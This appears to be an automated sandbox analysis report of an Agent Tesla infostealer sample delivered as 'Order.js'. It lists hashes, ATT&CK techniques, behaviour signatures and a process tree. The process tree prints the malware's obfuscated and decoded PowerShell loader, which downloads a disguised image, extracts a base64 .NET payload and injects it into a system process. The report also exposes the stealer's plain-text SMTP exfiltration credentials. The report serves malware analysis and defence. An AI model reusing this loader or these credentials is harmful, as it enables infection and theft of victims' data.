agenttesla | 36714617ab3acacb11df096fb64e7ced344b241ebfdd501a60077c931c89577a

General

Target

Order.js
Size

601KB
MD5

0ab4c299c5cd500fb1ae69c2b3b449b9
SHA1

fffbc3ff7a20e9b5ce7cba314988f78feba8818e
SHA256

36714617ab3acacb11df096fb64e7ced344b241ebfdd501a60077c931c89577a
SHA512

571a875e4ed34814eaf27bc6f174fb4ff27748336d2706f0b8c17428c83cc60639ec06f74d98b442a2f8eae01f0bc29469b413de7cf2e10ebbeb7d56ad0f50a8
SSDEEP

12288:mMf1AA9a6oVwLkxbDt6P+B7Cg2KE073cN9mc9rf8FZ4UmlWT3GBBUUgn6QfCKUcj:lcVbdB7Uf/Ry

Score

10^/10

agenttesla credential_access discovery execution keylogger spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg

exe.dropper

https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg

Extracted

Credentials

Protocol: smtp
Host:
mail.detarcoopmedical.com
Port:
587
Username:
[email protected]
Password:
To$zL%?nhDHN

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.detarcoopmedical.com
Port:
587
Username:
[email protected]
Password:
To$zL%?nhDHN
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Blocklisted process makes network request 2 IoCs

flow	pid	Process
8	1564	powershell.exe
19	1564	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4852	powershell.exe
1564	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Control Panel\International\Geo\Nation	wscript.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
21	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1564 set thread context of 4592	1564	powershell.exe	99

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AddInProcess32.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
4852	powershell.exe
4852	powershell.exe
1564	powershell.exe
1564	powershell.exe
1564	powershell.exe
1564	powershell.exe
1564	powershell.exe
1564	powershell.exe
4592	AddInProcess32.exe
4592	AddInProcess32.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4852	powershell.exe
Token: SeDebugPrivilege	1564	powershell.exe
Token: SeDebugPrivilege	4592	AddInProcess32.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 4484 wrote to memory of 4852	4484	wscript.exe	89
PID 4484 wrote to memory of 4852	4484	wscript.exe	89
PID 4852 wrote to memory of 1564	4852	powershell.exe	91
PID 4852 wrote to memory of 1564	4852	powershell.exe	91
PID 1564 wrote to memory of 1180	1564	powershell.exe	97
PID 1564 wrote to memory of 1180	1564	powershell.exe	97
PID 1564 wrote to memory of 1180	1564	powershell.exe	97
PID 1564 wrote to memory of 4076	1564	powershell.exe	98
PID 1564 wrote to memory of 4076	1564	powershell.exe	98
PID 1564 wrote to memory of 4076	1564	powershell.exe	98
PID 1564 wrote to memory of 4592	1564	powershell.exe	99
PID 1564 wrote to memory of 4592	1564	powershell.exe	99
PID 1564 wrote to memory of 4592	1564	powershell.exe	99
PID 1564 wrote to memory of 4592	1564	powershell.exe	99
PID 1564 wrote to memory of 4592	1564	powershell.exe	99
PID 1564 wrote to memory of 4592	1564	powershell.exe	99
PID 1564 wrote to memory of 4592	1564	powershell.exe	99
PID 1564 wrote to memory of 4592	1564	powershell.exe	99

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Order.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4484
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JABpAG0AYQBnAGUAVQByAGwAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AaQBhADYAMAAxADYAMAA2AC4AdQBzAC4AYQByAGMAaABpAHYAZQAuAG8AcgBnAC8AMQAwAC8AaQB0AGUAbQBzAC8AZABlAGEAdABoAG4AbwB0AGUAXwAyADAAMgA0ADAANwAvAGQAZQBhAHQAaABuAG8AdABlAC4AagBwAGcAJwA7ACQAdwBlAGIAQwBsAGkAZQBuAHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAD0AIAAkAHcAZQBiAEMAbABpAGUAbgB0AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAGkAbQBhAGcAZQBVAHIAbAApADsAJABpAG0AYQBnAGUAVABlAHgAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAKQA7ACQAcwB0AGEAcgB0AEYAbABhAGcAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBTAFQAQQBSAFQAPgA+ACcAOwAkAGUAbgBkAEYAbABhAGcAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4AJwA7ACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AEYAbABhAGcAKQA7ACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwAkAHMAdABhAHIAdABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABlAG4AZABJAG4AZABlAHgAIAAtAGcAdAAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAA7ACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgACQAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7ACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAIAA9ACAAJABlAG4AZABJAG4AZABlAHgAIAAtACAAJABzAHQAYQByAHQASQBuAGQAZQB4ADsAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaAApADsAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACkAOwAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwApADsAJAB0AHkAcABlACAAPQAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAZABuAGwAaQBiAC4ASQBPAC4ASABvAG0AZQAnACkAOwAkAG0AZQB0AGgAbwBkACAAPQAgACQAdAB5AHAAZQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBWAEEASQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwB0AHgAdAAuAHkAeAAvAHYAZQBkAC4AMgByAC4AMwA5AGIAMwA0ADUAMwAwADIAYQAwADcANQBiADEAYgBjADAAZAA0ADUAYgA2ADMAMgBlAGIAOQBlAGUANgAyAC0AYgB1AHAALwAvADoAcwBwAHQAdABoACcAIAAsACAAJwBkAGUAcwBhAHQAaQB2AGEAZABvACcAIAAsACAAJwBkAGUAcwBhAHQAaQB2AGEAZABvACcAIAAsACAAJwBkAGUAcwBhAHQAaQB2AGEAZABvACcALAAnAEEAZABkAEkAbgBQAHIAbwBjAGUAcwBzADMAMgAnACwAJwBkAGUAcwBhAHQAaQB2AGEAZABvACcAKQApAA==';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4852
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.yx/ved.2r.39b345302a075b1bc0d45b632eb9ee62-bup//:sptth' , 'desativado' , 'desativado' , 'desativado','AddInProcess32','desativado'))"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1564
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      PID:1180
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      PID:4076
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4592

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4056,i,5469445176230119590,7931734017267321834,262144 --variations-seed-version --mojo-platform-channel-handle=3956 /prefetch:8
1⤵
PID:4080

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
81d91bab2fdd72436e4852d94ea7650d

SHA1
5652b3c46a0cf75a03859c5707f36fb08f5c631a

SHA256
68a3392780a3c6219350a2ca51262a74a2a9d6a1ea84686f38d473f37d0588e1

SHA512
df1e3da61c9657a7f0c0eac9ce610798421e138259ec2bf41063b8e8eb8e1c9e6d669aaba675ba16ccdceed1aa3f76b482893dc98f3d6b46cd48d61da7669268

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
1a11402783a8686e08f8fa987dd07bca

SHA1
580df3865059f4e2d8be10644590317336d146ce

SHA256
9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0

SHA512
5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_az44zuzp.u30.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1564-22-0x00000172695A0000-0x00000172696C2000-memory.dmp

Filesize
1.1MB

Download
memory/4592-32-0x0000000006950000-0x00000000069A0000-memory.dmp

Filesize
320KB

Download
memory/4592-23-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/4592-30-0x0000000005A80000-0x0000000006024000-memory.dmp

Filesize
5.6MB

Download
memory/4592-31-0x0000000005540000-0x00000000055A6000-memory.dmp

Filesize
408KB

Download
memory/4592-33-0x0000000006A40000-0x0000000006ADC000-memory.dmp

Filesize
624KB

Download
memory/4592-34-0x0000000006C80000-0x0000000006D12000-memory.dmp

Filesize
584KB

Download
memory/4592-35-0x0000000006C50000-0x0000000006C5A000-memory.dmp

Filesize
40KB

Download
memory/4852-12-0x00007FFC74E80000-0x00007FFC75941000-memory.dmp

Filesize
10.8MB

Download
memory/4852-11-0x00007FFC74E80000-0x00007FFC75941000-memory.dmp

Filesize
10.8MB

Download
memory/4852-10-0x000001EA6ED70000-0x000001EA6ED92000-memory.dmp

Filesize
136KB

Download
memory/4852-29-0x00007FFC74E80000-0x00007FFC75941000-memory.dmp

Filesize
10.8MB

Download
memory/4852-0-0x00007FFC74E83000-0x00007FFC74E85000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads